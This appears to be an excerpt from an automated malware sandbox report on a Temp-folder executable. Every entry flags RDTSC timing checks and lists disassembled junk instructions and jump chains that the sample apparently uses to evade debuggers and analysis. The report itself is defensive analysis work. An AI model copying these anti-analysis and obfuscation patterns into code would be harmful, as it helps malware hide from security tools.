Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E00AF second address: 52E00B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E00B5 second address: 52E00BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52D0053 second address: 52D00C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FEE851EFD94h 0x00000012 xor ax, 3CD8h 0x00000017 jmp 00007FEE851EFD8Bh 0x0000001c popfd 0x0000001d call 00007FEE851EFD98h 0x00000022 push eax 0x00000023 pop edi 0x00000024 pop eax 0x00000025 popad 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FEE851EFD98h 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300F67 second address: 5300F7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0110 second address: 52A0160 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEE851EFD8Eh 0x0000000f push eax 0x00000010 jmp 00007FEE851EFD8Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FEE851EFD95h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0160 second address: 52A017D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A017D second address: 52A0183 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0183 second address: 52A0189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0189 second address: 52A018D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A018D second address: 52A0191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0191 second address: 52A01DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b jmp 00007FEE851EFD98h 0x00000010 push dword ptr [ebp+0Ch] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FEE851EFD8Eh 0x0000001a adc esi, 347264B8h 0x00000020 jmp 00007FEE851EFD8Bh 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 pop edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A0218 second address: 52A021E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52A021E second address: 52A0224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C0956 second address: 52C099F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEE84E88FD8h 0x00000008 sbb ecx, 58398EC8h 0x0000000e jmp 00007FEE84E88FCBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 call 00007FEE84E88FD8h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C099F second address: 52C09D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FEE851EFD8Dh 0x0000000f adc eax, 1D535E96h 0x00000015 jmp 00007FEE851EFD91h 0x0000001a popfd 0x0000001b mov di, ax 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C09D9 second address: 52C09E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C09E8 second address: 52C09EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C07F9 second address: 52C0829 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FEE84E88FD6h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEE84E88FCEh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C0829 second address: 52C08B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEE851EFD91h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e call 00007FEE851EFD98h 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FEE851EFD93h 0x0000001d sub ah, 0000006Eh 0x00000020 jmp 00007FEE851EFD99h 0x00000025 popfd 0x00000026 popad 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FEE851EFD98h 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C08B0 second address: 52C08BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C08BF second address: 52C08C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C08C5 second address: 52C08C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C0575 second address: 52C057A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52D0367 second address: 52D03CC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEE84E88FD5h 0x00000008 add ax, B696h 0x0000000d jmp 00007FEE84E88FD1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007FEE84E88FCEh 0x0000001c push eax 0x0000001d jmp 00007FEE84E88FCBh 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FEE84E88FD5h 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52D03CC second address: 52D040B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FEE851EFD8Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEE851EFD97h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52D040B second address: 52D0412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300E24 second address: 5300E34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE851EFD8Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300E34 second address: 5300EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007FEE84E88FCAh 0x0000000f pushfd 0x00000010 jmp 00007FEE84E88FD2h 0x00000015 sub cx, 8DB8h 0x0000001a jmp 00007FEE84E88FCBh 0x0000001f popfd 0x00000020 pop eax 0x00000021 pushfd 0x00000022 jmp 00007FEE84E88FD9h 0x00000027 sbb al, 00000056h 0x0000002a jmp 00007FEE84E88FD1h 0x0000002f popfd 0x00000030 popad 0x00000031 mov dword ptr [esp], ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300EA6 second address: 5300EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E03EB second address: 52E03F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E03F1 second address: 52E03F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E03F5 second address: 52E03F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E03F9 second address: 52E0416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e call 00007FEE851EFD8Eh 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0416 second address: 52E043D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 and dword ptr [eax], 00000000h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEE84E88FD9h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E043D second address: 52E0441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0441 second address: 52E0447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0447 second address: 52E044C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E044C second address: 52E0462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 6249E01Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c and dword ptr [eax+04h], 00000000h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0462 second address: 52E0479 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0479 second address: 52E04A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov esi, edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d call 00007FEE84E88FD3h 0x00000012 mov di, ax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 mov edi, 46F70356h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C06DF second address: 52C071D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEE851EFD97h 0x00000008 pop ecx 0x00000009 jmp 00007FEE851EFD99h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C071D second address: 52C0721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C0721 second address: 52C0734 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C0734 second address: 52C076F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEE84E88FD8h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52C076F second address: 52C077E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52D0FB8 second address: 52D0FC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E01EA second address: 52E0204 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 23C26A22h 0x00000008 mov ecx, ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f mov edi, ecx 0x00000011 mov cl, 7Ah 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52E0204 second address: 52E0209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300660 second address: 5300686 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 2C5BC4C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEE851EFD99h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300686 second address: 53006BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx eax, bx 0x0000000f mov bh, 85h 0x00000011 popad 0x00000012 xchg eax, ecx 0x00000013 jmp 00007FEE84E88FD0h 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53006BC second address: 53006C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53006C0 second address: 53006DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53006DC second address: 53006E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53006E2 second address: 53006E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53006E6 second address: 530075E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a jmp 00007FEE851EFD8Fh 0x0000000f mov di, ax 0x00000012 popad 0x00000013 mov eax, dword ptr [76FA65FCh] 0x00000018 pushad 0x00000019 mov ecx, 51E6A537h 0x0000001e call 00007FEE851EFD8Ch 0x00000023 pop edi 0x00000024 popad 0x00000025 test eax, eax 0x00000027 pushad 0x00000028 call 00007FEE851EFD8Ah 0x0000002d movzx ecx, bx 0x00000030 pop edi 0x00000031 mov esi, 3F8F41B3h 0x00000036 popad 0x00000037 je 00007FEEF6E12FB9h 0x0000003d pushad 0x0000003e mov cx, 342Bh 0x00000042 call 00007FEE851EFD90h 0x00000047 mov edi, ecx 0x00000049 pop ecx 0x0000004a popad 0x0000004b mov ecx, eax 0x0000004d pushad 0x0000004e push edx 0x0000004f mov di, cx 0x00000052 pop eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push ebx 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 530075E second address: 5300798 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEE84E88FCDh 0x00000008 jmp 00007FEE84E88FCBh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xor eax, dword ptr [ebp+08h] 0x00000014 jmp 00007FEE84E88FCFh 0x00000019 and ecx, 1Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300798 second address: 530079E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 530079E second address: 53007A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53007A4 second address: 53007A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53007A8 second address: 5300801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ror eax, cl 0x0000000d jmp 00007FEE84E88FD0h 0x00000012 leave 0x00000013 pushad 0x00000014 mov edi, ecx 0x00000016 pushfd 0x00000017 jmp 00007FEE84E88FCAh 0x0000001c xor eax, 309C2538h 0x00000022 jmp 00007FEE84E88FCBh 0x00000027 popfd 0x00000028 popad 0x00000029 retn 0004h 0x0000002c nop 0x0000002d mov esi, eax 0x0000002f lea eax, dword ptr [ebp-08h] 0x00000032 xor esi, dword ptr [00732014h] 0x00000038 push eax 0x00000039 push eax 0x0000003a push eax 0x0000003b lea eax, dword ptr [ebp-10h] 0x0000003e push eax 0x0000003f call 00007FEE89A997EFh 0x00000044 push FFFFFFFEh 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300801 second address: 5300807 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300807 second address: 5300824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE84E88FD9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300824 second address: 5300863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007FEE851EFD8Eh 0x00000011 ret 0x00000012 nop 0x00000013 push eax 0x00000014 call 00007FEE89E005FAh 0x00000019 mov edi, edi 0x0000001b jmp 00007FEE851EFD90h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300863 second address: 5300867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5300867 second address: 53008C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov di, si 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FEE851EFD95h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov eax, 5E95F493h 0x00000017 movzx esi, di 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov bx, ax 0x00000023 pushfd 0x00000024 jmp 00007FEE851EFD98h 0x00000029 sbb cx, 4848h 0x0000002e jmp 00007FEE851EFD8Bh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0072 second address: 52B00E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c mov di, 1E76h 0x00000010 pop edx 0x00000011 mov dx, cx 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FEE84E88FD4h 0x0000001e and si, 9398h 0x00000023 jmp 00007FEE84E88FCBh 0x00000028 popfd 0x00000029 mov cx, 054Fh 0x0000002d popad 0x0000002e and esp, FFFFFFF8h 0x00000031 jmp 00007FEE84E88FD2h 0x00000036 xchg eax, ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B00E3 second address: 52B00E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B00E7 second address: 52B00ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B00ED second address: 52B00F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B00F3 second address: 52B00F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B00F7 second address: 52B0111 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B0111 second address: 52B011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, 91E9h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 52B011A second address: 52B013C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 1Bh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEE851EFD95h 0x00000012 rdtsc
